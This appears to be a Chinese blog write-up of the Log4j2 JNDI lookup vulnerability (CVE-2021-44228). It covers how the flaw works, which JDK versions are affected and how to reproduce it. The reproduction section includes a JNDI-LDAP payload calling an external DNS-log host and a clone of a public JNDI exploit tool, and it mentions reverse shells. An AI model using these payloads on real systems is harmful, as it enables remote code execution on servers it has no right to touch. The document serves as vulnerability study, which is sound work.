CVE-2021-44228 Apache Log4j2 JNDI Lookup漏洞 RCE

影响版本

2.0<Version<2.14.1

概述

Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开,发,开发者可以利用该工具将程序的输入输出信息进行日志记录。其中log4j2支持lookup功能(查找搜索),这也是一个非常强大的功能,设计之初的目的也是为了方便开发者调用,

漏洞的产生在于依赖会将${}包裹的字符串作为特殊字符来进行循环处理. 例如当开发者想在日志中打印今天的日期,则只需要输出${date:MM-dd-yyyy},此时log4j会将${}中包裹的内容单独处理,将它识别为日期查找,然后将该表达式替换为今天的日期内容输出为“08-22-2022”,这样做就不需要开发者自己去编写查找日期的代码。

表达式除了支持日期,还支持输出系统环境变量等功能,这样极大的方便了开发者。但是安全问题往往就是因为“图方便”引起的,毕竟设计者也是需要在安全性和用户体验之间做个平衡。

其实打印日期,打印系统变量这种对系统而言构不成什么威胁,最重要的原因是log4j还支持JNDI协议。

image-20250306141043483

JNDI

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。

简单来说,通过JNDI提供了”通过名称找到对应的对象”的规范定义.JNDI允许我们查找并加载一个远程类,因此存在任意代码执行的风险.

JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:

协议 JDK6 JDK7 JDK8 JDK11
LADP 6u211以下 7u201以下 8u191以下 11.0.1以下
RMI 6u132以下 7u122以下 8u113以下

image-20250306144052471

由于 lookup() 的参数可控,攻击者在远程服务器上构造恶意的 Reference 类绑定在 RMIServerRegistry 里面,然后客户端调用 lookup() 函数里面的对象,远程类获取到 Reference 对象,客户端接收 Reference 对象后,寻找 Reference 中指定的类,若查找不到,则会在 Reference 中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行,从而达到 JNDI 注入攻击。

来做一个简单的

漏洞原理

77cbcc58-fe95-40f4-8fca-ffa75d56d793

在这段代码前是对${}输入的解析,之后根据类型来对

支持的Lookup协议类型:

88c72043-d41c-4ae7-83a7-30c1679ac6ec

漏洞复现

DNSLOG 信息外带

${jndi:ldap://2co09f.dnslog.cn}

1280X1280

1280X1280 (1)

命令执行&反弹Shell

安装JNDI利用工具:

1
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

172.20.0.1为容器内相对容器而言宿主机的IP地址

进行API请求,注入JNDI-LDAP Payload:

命令执行成功,创建了/tmp/success文件.

反弹shell只要改一下命令即可

参考链接